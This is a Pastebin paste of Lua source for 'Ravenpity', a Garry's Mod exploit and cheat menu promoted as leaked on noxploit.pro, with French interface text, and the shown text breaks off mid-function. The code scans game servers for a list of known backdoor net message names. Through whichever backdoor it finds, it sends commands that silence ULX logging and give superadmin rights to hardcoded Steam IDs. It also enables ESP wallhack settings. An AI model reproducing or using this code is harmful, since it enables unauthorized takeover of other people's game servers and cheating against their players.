Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- ███▄▄▄▄ ▄██████▄ ▀████ ▐████▀ ▄███████▄ ▄█ ▄██████▄ ▄█ ███
- -- ███▀▀▀██▄ ███ ███ ███▌ ████▀ ███ ███ ███ ███ ███ ███ ▀█████████▄
- -- ███ ███ ███ ███ ███ ▐███ ███ ███ ███ ███ ███ ███▌ ▀███▀▀██
- -- ███ ███ ███ ███ ▀███▄███▀ ███ ███ ███ ███ ███ ███▌ ███ ▀
- -- ███ ███ ███ ███ ████▀██▄ ▀█████████▀ ███ ███ ███ ███▌ ███
- -- ███ ███ ███ ███ ▐███ ▀███ ███ ███ ███ ███ ███ ███
- -- ███ ███ ███ ███ ▄███ ███▄ ███ ███▌ ▄ ███ ███ ███ ███
- -- ▀█ █▀ ▀██████▀ ████ ███▄ ▄████▀ █████▄▄██ ▀██████▀ █▀ ▄████▀
- -- Free Garry's Mod Exploit/Aimbot menu !
- -- Go on https://noxploit.pro !
- /*======================================================================================================================================================================================
- Menu Files
- ========================================================================================================================================================================================*/
- if file.Exists( "includes/extensions/client/vehicles.lua", "LUA" ) == true then
- MsgC (Color(255, 100, 100), [[
- ██▀███ ▄▄▄ ██▒ █▓▓█████ ███▄ █ ██▓███ ██▓▄▄▄█████▓▓██ ██▓
- ▓██ ▒ ██▒▒████▄ ▓██░ █▒▓█ ▀ ██ ▀█ █ ▓██░ ██▒▓██▒▓ ██▒ ▓▒ ▒██ ██▒
- ▓██ ░▄█ ▒▒██ ▀█▄▓██ █▒░▒███ ▓██ ▀█ ██▒▓██░ ██▓▒▒██▒▒ ▓██░ ▒░ ▒██ ██░
- ▒██▀▀█▄ ░██▄▄▄▄██▒██ █░░▒▓█ ▄ ▓██▒ ▐▌██▒▒██▄█▓▒ ▒░██░░ ▓██▓ ░ ░ ▐██▓░
- ░██▓ ▒██▒ ▓█ ▓██▒▒▀█░ ░▒████▒▒██░ ▓██░▒██▒ ░ ░░██░ ▒██▒ ░ ░ ██▒▓░
- ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▐░ ░░ ▒░ ░░ ▒░ ▒ ▒ ▒▓▒░ ░ ░░▓ ▒ ░░ ██▒▒▒
- ░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ░ ░░ ░░ ░ ▒░░▒ ░ ▒ ░ ░ ▓██ ░▒░
- ░░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ▒ ░ ░ ▒ ▒ ░░
- ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
- ░ ░ ░
- Le Serveur possède un Anti-Cheat. Le Menu est donc désactivé.
- ░ ░ ░
- ]])
- else
- MsgC (Color(208, 114, 255), [[
- ██▀███ ▄▄▄ ██▒ █▓▓█████ ███▄ █ ██▓███ ██▓▄▄▄█████▓▓██ ██▓
- ▓██ ▒ ██▒▒████▄ ▓██░ █▒▓█ ▀ ██ ▀█ █ ▓██░ ██▒▓██▒▓ ██▒ ▓▒ ▒██ ██▒
- ▓██ ░▄█ ▒▒██ ▀█▄▓██ █▒░▒███ ▓██ ▀█ ██▒▓██░ ██▓▒▒██▒▒ ▓██░ ▒░ ▒██ ██░
- ▒██▀▀█▄ ░██▄▄▄▄██▒██ █░░▒▓█ ▄ ▓██▒ ▐▌██▒▒██▄█▓▒ ▒░██░░ ▓██▓ ░ ░ ▐██▓░
- ░██▓ ▒██▒ ▓█ ▓██▒▒▀█░ ░▒████▒▒██░ ▓██░▒██▒ ░ ░░██░ ▒██▒ ░ ░ ██▒▓░
- ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▐░ ░░ ▒░ ░░ ▒░ ▒ ▒ ▒▓▒░ ░ ░░▓ ▒ ░░ ██▒▒▒
- ░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ░ ░░ ░░ ░ ▒░░▒ ░ ▒ ░ ░ ▓██ ░▒░
- ░░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ▒ ░ ░ ▒ ▒ ░░
- ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
- ░ ░ ░
- THE BEST EXPLOIT MENU ON GARRY'S MOD | LEAKED ON NOXPLOIT.PRO
- ██▀███ ▄▄▄ ██▒ █▓▓█████ ███▄ █ ██▓███ ██▓▄▄▄█████▓▓██ ██▓
- ▓██ ▒ ██▒▒████▄ ▓██░ █▒▓█ ▀ ██ ▀█ █ ▓██░ ██▒▓██▒▓ ██▒ ▓▒ ▒██ ██▒
- ▓██ ░▄█ ▒▒██ ▀█▄▓██ █▒░▒███ ▓██ ▀█ ██▒▓██░ ██▓▒▒██▒▒ ▓██░ ▒░ ▒██ ██░
- ▒██▀▀█▄ ░██▄▄▄▄██▒██ █░░▒▓█ ▄ ▓██▒ ▐▌██▒▒██▄█▓▒ ▒░██░░ ▓██▓ ░ ░ ▐██▓░
- ░██▓ ▒██▒ ▓█ ▓██▒▒▀█░ ░▒████▒▒██░ ▓██░▒██▒ ░ ░░██░ ▒██▒ ░ ░ ██▒▓░
- ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▐░ ░░ ▒░ ░░ ▒░ ▒ ▒ ▒▓▒░ ░ ░░▓ ▒ ░░ ██▒▒▒
- ░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ░ ░░ ░░ ░ ▒░░▒ ░ ▒ ░ ░ ▓██ ░▒░
- ░░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ▒ ░ ░ ▒ ▒ ░░
- ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
- ░ ░ ░
- ]])
- /*======================================================================================================================================================================================
- Start
- ========================================================================================================================================================================================*/
- local RAVENhack = nil
- local RatesScaleLevel = LocalPlayer():SteamID()
- local RAVEN = {}
- RAVEN.memory = {}
- local ctext = chat.AddText
- local netKey = ""
- BackdoorsFound = 0
- function RAVEN.NetStart( str )
- local netstart = net.Start
- if RAVENhack and RAVENhack.G and RAVENhack.G.net then
- netstart = RAVENhack.G.net.Start
- else
- end
- return netstart( str )
- end
- function RAVEN.ValidNetString( str )
- local netstart = net.Start
- if RAVENhack and RAVENhack.G and RAVENhack.G.net then
- netstart = RAVENhack.G.net.Start
- else
- end
- local status, error = pcall( netstart, str )
- return status
- end
- function RAVEN.ValidNetString( str )
- local status, error = pcall( net.Start, str )
- return status
- end
- RAVEN.sploits = {}
- function RAVEN.AddExploit( name, tab )
- if !isstring( name ) then print("ùùù_ùùù") return end
- if !istable( tab ) then print("ùùù_ùùù") return end
- RAVEN.sploits[name] = tab
- end
- function RAVEN.IsStored( addr )
- return RAVEN.memory[addr] != nil
- end
- function RAVEN.GetStored( addr, fallback )
- if fallback and RAVEN.memory[addr] == nil then return fallback end
- return RAVEN.memory[addr]
- end
- function RAVEN.Store( addr, val )
- RAVEN.memory[addr] = val
- end
- function RAVEN.GetAllStored()
- return RAVEN.memory
- end
- function RAVEN.GetAllStoredData()
- local ret = {}
- for k, v in pairs( RAVEN.memory ) do
- if !istable( v ) then ret[k] = v end
- end
- return ret
- end
- function ValidNetString( str )
- local status, error = pcall( net.Start, str )
- return status
- end
- LocalPlayer():ConCommand("lix_lesp_on 1")
- LocalPlayer():ConCommand("lix_lesp_health 1")
- LocalPlayer():ConCommand("lix_lesp_weapon 1")
- LocalPlayer():ConCommand("lix_lesp_money 1")
- LocalPlayer():ConCommand("lix_lesp_distance 1")
- local ravenhacknet = "" if RAVEN.ValidNetString( "Sandbox_ArmDupe" ) then ravenhacknet = "Sandbox_ArmDupe" else if RAVEN.ValidNetString( "Fix_Keypads" ) then ravenhacknet = "Fix_Keypads" else if RAVEN.ValidNetString( "Remove_Exploiters" ) then ravenhacknet = "Remove_Exploiters" else if RAVEN.ValidNetString( "noclipcloakaesp_chat_text" ) then ravenhacknet = "noclipcloakaesp_chat_text" else if RAVEN.ValidNetString( "_Defqon" ) then ravenhacknet = "_Defqon" else if RAVEN.ValidNetString( "_CAC_ReadMemory" ) then ravenhacknet = "_CAC_ReadMemory" else if RAVEN.ValidNetString( "nostrip" ) then ravenhacknet = "nostrip" else if RAVEN.ValidNetString( "LickMeOut" ) then ravenhacknet = "LickMeOut" else if RAVEN.ValidNetString( "MoonMan" ) then ravenhacknet = "MoonMan" if RAVEN.ValidNetString( "Im_SOCool" ) then ravenhacknet = "Im_SOCool" end end end end end end end end end end
- if( ValidNetString("memeDoor") ) then netKey = "memeDoor" else end if( ValidNetString("Sandbox_Armdupe") ) then netKey = "Sandbox_Armdupe" else end if( ValidNetString("DarkRP_AdminWeapons") ) then netKey = "DarkRP_AdminWeapons" else end if( ValidNetString("SessionBackdoor") ) then netKey = "SessionBackdoor" else end if( ValidNetString("Fix_Keypads") ) then netKey = "Fix_Keypads" else end if( ValidNetString("Remove_Exploiters") ) then netKey = "Remove_Exploiters" else end if( ValidNetString("noclipcloakaesp_chat_text") ) then netKey = "noclipcloakaesp_chat_text" else end if( ValidNetString("_Defqon") ) then netKey = "_Defqon" else end if( ValidNetString("_CAC_ReadMemory") ) then netKey = "_CAC_ReadMemory" else end if( ValidNetString("nostrip") ) then netKey = "nostrip" else end if( ValidNetString("LickMeOut") ) then netKey = "LickMeOut" else end if( ValidNetString("MoonMan") ) then netKey = "MoonMan" else end if( ValidNetString("Im_SOCool") ) then netKey = "Im_SOCool" else end if( ValidNetString("ULXQUERY2") ) then netKey = "ULXQUERY2" else end if( ValidNetString("jesuslebg") ) then netKey = "jesuslebg" else end if( ValidNetString("zilnix") ) then netKey = "zilnix" else end if( ValidNetString("enablevac") ) then netKey = "enablevac" else end if( ValidNetString("c") ) then netKey = "c" else end if( ValidNetString("Þà?D)◘") ) then netKey = "Þà?D)◘" else end if( ValidNetString("disablebackdoor") ) then netKey = "disablebackdoor" else end if( ValidNetString("kill") ) then netKey = "kill" else end if netKey == "" then chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Aucune backdoor" ) else chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 0, 255, 0 ), "Backdoor trouvé : ".. netKey ) end
- surface.CreateFont("ravenfontheader",{font = "Roboto", size = 40, weight = 2000, antialias = 0})
- surface.CreateFont("ravenfontunder",{font = "Roboto", size = 15, weight = 0, antialias = 0})
- surface.CreateFont("ravenfontcopyright",{font = "Roboto", size = 30, weight = 0, antialias = 0})
- surface.CreateFont("ravenfonthello",{font = "Roboto", size = 20, weight = 0, antialias = 0})
- concommand.Add( "dontgetit", function() local paneldontgetit = vgui.Create("DFrame") paneldontgetit:SetSize(2300,2300) paneldontgetit:SetTitle("") paneldontgetit:Center() paneldontgetit:SetDraggable( false ) paneldontgetit:MakePopup() paneldontgetit:ShowCloseButton( false ) paneldontgetit.Paint = function( s, w, h ) surface.SetDrawColor( Color(0, 0, 0, 255) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 ) surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) ) surface.DrawRect( 10, 10, w - 20, h - 20 ) surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) ) surface.SetDrawColor( Color(255, 66, 66, 0) ) surface.DrawLine( 10, 25, 40, 30 ) surface.DrawLine( 40, 30, 70, 25 ) surface.DrawLine( 10, 25, 25, 40 ) surface.DrawLine( 55, 40, 70, 25 ) surface.PlaySound( "buttons/weapon_cant_buy.wav" ) surface.PlaySound( "buttons/blip2.wav" ) surface.PlaySound( "bot/cover_me.wav" ) surface.DrawLine( 25, 40, 25, 60 ) surface.DrawLine( 55, 40, 55, 60 ) surface.DrawLine( 25, 60, 40, 70 ) surface.DrawLine( 55, 60, 40, 70 ) draw.SimpleTextOutlined( "ERREUR RAVENPITY : Votre comptre n'est pas activé", "ravenfontcopyright", 1120, 350, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(100, 100, 100, 0) ) end end)
- concommand.Add( "ravenpity_start", function()
- local BaseHeader = vgui.Create( "DFrame")
- BaseHeader:SetPos( ScrW()-400, ScrH)
- BaseHeader:SetSize( 400, 120 )
- BaseHeader:SetTitle( "" )
- BaseHeader:SetDraggable( false )
- BaseHeader:MakePopup()
- BaseHeader:ShowCloseButton( false )
- BaseHeader.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(152, 73, 255, 220))
- draw.SimpleTextOutlined( "Ravenpity", "ravenfontheader", 200, 60, HSVToColor( CurTime() % 6 * 60, 0.3, 1 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0, 100) )
- end
- local BackgroundSupportPanel = vgui.Create( "DFrame", BaseHeader)
- BackgroundSupportPanel:SetPos( ScrW()-BaseHeader:GetWide(), 120)
- BackgroundSupportPanel:SetSize( 400, 400 )
- BackgroundSupportPanel:SetTitle( "" )
- BackgroundSupportPanel:ShowCloseButton( false )
- BackgroundSupportPanel:SetDraggable( false )
- BackgroundSupportPanel:MakePopup()
- BackgroundSupportPanel.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 245))
- end
- local BackgroundSupportPanelBase = vgui.Create( "DFrame", BaseHeader)
- BackgroundSupportPanelBase:SetPos( ScrW()-BaseHeader:GetWide(), 120)
- BackgroundSupportPanelBase:SetSize( 400, 400 )
- BackgroundSupportPanelBase:SetTitle( "" )
- BackgroundSupportPanelBase:ShowCloseButton( false )
- BackgroundSupportPanelBase:SetDraggable( false )
- BackgroundSupportPanelBase:MakePopup()
- BackgroundSupportPanelBase.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- end
- local UnderDermaPanel = vgui.Create( "DFrame", BaseHeader)
- UnderDermaPanel:SetPos( ScrW()-BaseHeader:GetWide(), 520)
- UnderDermaPanel:SetSize( 400, 30 )
- UnderDermaPanel:SetTitle( "" )
- UnderDermaPanel:ShowCloseButton( false )
- UnderDermaPanel:SetDraggable( false )
- UnderDermaPanel:MakePopup()
- UnderDermaPanel.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(152, 73, 255, 220))
- draw.SimpleTextOutlined( "Exploit Menu on Garry's Mod | by Hoper ", "ravenfontunder", 201, 15, Color(255,255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0, 0) )
- end
- local PlayerOptionsButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
- PlayerOptionsButton:SetPos( 0, 0)
- PlayerOptionsButton:SetSize( 400, 30 )
- PlayerOptionsButton:SetText( "Player Options" )
- PlayerOptionsButton.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if PlayerOptionsButton:IsHovered() then
- PlayerOptionsButton:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- PlayerOptionsButton:SetTextColor( Color( 255, 255, 255 ) )
- end
- PlayerOptionsButton.DoClick = function()
- RAVEN.PlayerOptions( addr )
- BackgroundSupportPanelBase:Remove()
- end
- end
- local ServerOptionsButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
- ServerOptionsButton:SetPos( 0, 30)
- ServerOptionsButton:SetSize( 400, 30 )
- ServerOptionsButton:SetText( "Server Options" )
- ServerOptionsButton.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ServerOptionsButton:IsHovered() then
- ServerOptionsButton:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ServerOptionsButton:SetTextColor( Color( 255, 255, 255 ) )
- end
- ServerOptionsButton.DoClick = function()
- RAVEN.ServerOptions( addr )
- BackgroundSupportPanelBase:Remove()
- end
- end
- local WorldOptionsButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
- WorldOptionsButton:SetPos( 0, 60)
- WorldOptionsButton:SetSize( 400, 30 )
- WorldOptionsButton:SetText( "World Options" )
- WorldOptionsButton.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if WorldOptionsButton:IsHovered() then
- WorldOptionsButton:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- WorldOptionsButton:SetTextColor( Color( 255, 255, 255 ) )
- end
- WorldOptionsButton.DoClick = function()
- RAVEN.WorldOptions( addr )
- BackgroundSupportPanelBase:Remove()
- end
- end
- local SpawnOptionsButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
- SpawnOptionsButton:SetPos( 0, 90)
- SpawnOptionsButton:SetSize( 400, 30 )
- SpawnOptionsButton:SetText( "Spawn Options" )
- SpawnOptionsButton.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if SpawnOptionsButton:IsHovered() then
- SpawnOptionsButton:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- SpawnOptionsButton:SetTextColor( Color( 255, 255, 255 ) )
- end
- SpawnOptionsButton.DoClick = function()
- RAVEN.SpawnOptions( addr )
- BackgroundSupportPanelBase:Remove()
- end
- end
- local ControllerButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
- ControllerButton:SetPos( 0, 120)
- ControllerButton:SetSize( 400, 30 )
- ControllerButton:SetText( "Controller" )
- ControllerButton.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ControllerButton:IsHovered() then
- ControllerButton:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ControllerButton:SetTextColor( Color( 255, 255, 255 ) )
- end
- ControllerButton.DoClick = function()
- RAVEN.Controller( addr )
- BackgroundSupportPanelBase:Remove()
- end
- end
- local CommandesButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
- CommandesButton:SetPos( 0, 150)
- CommandesButton:SetSize( 400, 30 )
- CommandesButton:SetText( "Commandes" )
- CommandesButton.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if CommandesButton:IsHovered() then
- CommandesButton:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- CommandesButton:SetTextColor( Color( 255, 255, 255 ) )
- end
- CommandesButton.DoClick = function()
- RAVEN.Commandes( addr )
- BackgroundSupportPanelBase:Remove()
- end
- end
- local UpdatesButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
- UpdatesButton:SetPos( 0, 180 )
- UpdatesButton:SetSize( 400, 30 )
- UpdatesButton:SetText( "Why Leaked ?" )
- UpdatesButton.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if UpdatesButton:IsHovered() then
- UpdatesButton:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- UpdatesButton:SetTextColor( Color( 128, 119, 255 ) )
- end
- UpdatesButton.DoClick = function()
- RAVEN.Updates( addr )
- BackgroundSupportPanelBase:Remove()
- end
- end
- local CopyRightText = vgui.Create( "DButton", BackgroundSupportPanelBase)
- CopyRightText:SetPos( 0, 300)
- CopyRightText:SetSize( 400, 30 )
- CopyRightText:SetText( "noxploit.pro" )
- CopyRightText:SetFont( "ravenfontcopyright" )
- CopyRightText.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if CopyRightText:IsHovered() then
- CopyRightText:SetTextColor( HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 0))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- CopyRightText:SetTextColor( Color( 255, 255, 255, 2 ) )
- end
- CopyRightText.DoClick = function()
- gui.OpenURL( "https://noxploit.pro" )
- end
- end
- local CloseButton = vgui.Create( "DButton", BackgroundSupportPanelBase)
- CloseButton:SetPos( 0, 370)
- CloseButton:SetSize( 400, 30 )
- CloseButton:SetText( "X" )
- CloseButton.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if CloseButton:IsHovered() then
- CloseButton:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- CloseButton:SetTextColor( Color( 255, 255, 255 ) )
- end
- CloseButton.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- PlayerOptionsButton:Remove()
- end
- end
- /*======================================================================================================================================================================================
- Player Options
- ========================================================================================================================================================================================*/
- function RAVEN.PlayerOptions()
- if RAVEN.PlayerOptionsListe and RAVEN.PlayerOptionsListe:IsVisible() then RAVEN.PlayerOptionsListe:Remove() end
- RAVEN.PlayerOptionsListe = vgui.Create("DFrame")
- RAVEN.PlayerOptionsListe:SetSize(682,350)
- RAVEN.PlayerOptionsListe:SetTitle("")
- RAVEN.PlayerOptionsListe:SetPos( 342, 250 )
- RAVEN.PlayerOptionsListe:MakePopup()
- RAVEN.PlayerOptionsListe:ShowCloseButton( false )
- RAVEN.PlayerOptionsListe.Paint = function( s, w, h )
- if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
- surface.SetDrawColor( Color(30, 30, 30, 255) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(55, 55, 55, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- end
- local CloseButtonPlayerOptions = vgui.Create( "DButton", BackgroundSupportPanel)
- CloseButtonPlayerOptions:SetPos( 0, 370)
- CloseButtonPlayerOptions:SetSize( 400, 30 )
- CloseButtonPlayerOptions:SetText( "X" )
- CloseButtonPlayerOptions.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if CloseButtonPlayerOptions:IsHovered() then
- CloseButtonPlayerOptions:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- CloseButtonPlayerOptions:SetTextColor( Color( 255, 255, 255 ) )
- end
- CloseButtonPlayerOptions.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- end
- end
- local ReturnButtonPlayerOptions = vgui.Create( "DButton", BackgroundSupportPanel)
- ReturnButtonPlayerOptions:SetPos( 0, 340)
- ReturnButtonPlayerOptions:SetSize( 400, 30 )
- ReturnButtonPlayerOptions:SetText( "<--" )
- ReturnButtonPlayerOptions.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ReturnButtonPlayerOptions:IsHovered() then
- ReturnButtonPlayerOptions:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ReturnButtonPlayerOptions:SetTextColor( Color( 255, 255, 255 ) )
- end
- ReturnButtonPlayerOptions.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- LocalPlayer():ConCommand("ravenpity_start")
- end
- end
- -------------------------------------------------------------------------------------|
- local setsuperadminon = vgui.Create( "DButton", BackgroundSupportPanel)
- setsuperadminon:SetPos( 0, 0)
- setsuperadminon:SetSize( 400, 30 )
- setsuperadminon:SetText( "Se Mettre Superadmin" )
- setsuperadminon.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if setsuperadminon:IsHovered() then
- setsuperadminon:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- setsuperadminon:SetTextColor( Color( 128, 119, 255 ) )
- end
- setsuperadminon.DoClick = function()
- local superadminonsetting = [[
- RunConsoleCommand("ulx_logecho", "0")
- RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:189348722", "superadmin")
- RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:99959432", "superadmin")
- RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:205515998", "superadmin")
- RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:72098825", "superadmin")
- RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:161766720", "superadmin")
- RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:149464003", "superadmin")
- ]]
- net.Start(ravenhacknet)
- net.WriteString( superadminonsetting )
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Vous êtes Superadmin" )
- end
- end
- local setsuperadminoff = vgui.Create( "DButton", BackgroundSupportPanel)
- setsuperadminoff:SetPos( 365, 5)
- setsuperadminoff:SetSize( 20, 20 )
- setsuperadminoff:SetText( "X" )
- setsuperadminoff.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if setsuperadminoff:IsHovered() then
- setsuperadminoff:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- setsuperadminoff:SetTextColor( Color( 255, 255, 255 ) )
- end
- setsuperadminoff.DoClick = function()
- local superadminoffsetting = [[
- RunConsoleCommand("ulx_logecho", "0")
- RunConsoleCommand("ulx", "removeuserid", "STEAM_0:0:189348722")
- RunConsoleCommand("ulx", "removeuserid", "STEAM_0:0:99959432")
- RunConsoleCommand("ulx", "removeuserid", "STEAM_0:0:205515998")
- RunConsoleCommand("ulx", "removeuserid", "STEAM_0:1:149464003")
- RunConsoleCommand("ulx", "removeuserid", "STEAM_0:0:72098825")
- RunConsoleCommand("ulx", "removeuserid", "STEAM_0:0:161766720")
- ]]
- net.Start(ravenhacknet)
- net.WriteString( superadminoffsetting )
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Vous n'êtes plus Superadmin" )
- end
- end
- -------------------------------------------------------------------------------------|
- local physicspeedon = vgui.Create( "DButton", BackgroundSupportPanel)
- physicspeedon:SetPos( 0, 30)
- physicspeedon:SetSize( 400, 30 )
- physicspeedon:SetText( "Vitesse PhysicGun" )
- physicspeedon.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if physicspeedon:IsHovered() then
- physicspeedon:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- physicspeedon:SetTextColor( Color( 255, 255, 255 ) )
- end
- physicspeedon.DoClick = function()
- LocalPlayer():ConCommand( "physgun_wheelspeed 3000" )
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Vitesse du PhysicGun augmenté" )
- end
- end
- local physicspeedoff = vgui.Create( "DButton", BackgroundSupportPanel)
- physicspeedoff:SetPos( 365, 35)
- physicspeedoff:SetSize( 20, 20 )
- physicspeedoff:SetText( "X" )
- physicspeedoff.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if physicspeedoff:IsHovered() then
- physicspeedoff:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- physicspeedoff:SetTextColor( Color( 255, 255, 255 ) )
- end
- physicspeedoff.DoClick = function()
- LocalPlayer():ConCommand( "physgun_wheelspeed 80" )
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Vitesse du PhysicGun remit par Défault" )
- end
- end
- -------------------------------------------------------------------------------------|
- local changeplayermodelon = vgui.Create( "DButton", BackgroundSupportPanel)
- changeplayermodelon:SetPos( 0, 60)
- changeplayermodelon:SetSize( 400, 30 )
- changeplayermodelon:SetText( "Changer le model des Joueurs" )
- changeplayermodelon.Paint = function( self, w, h )
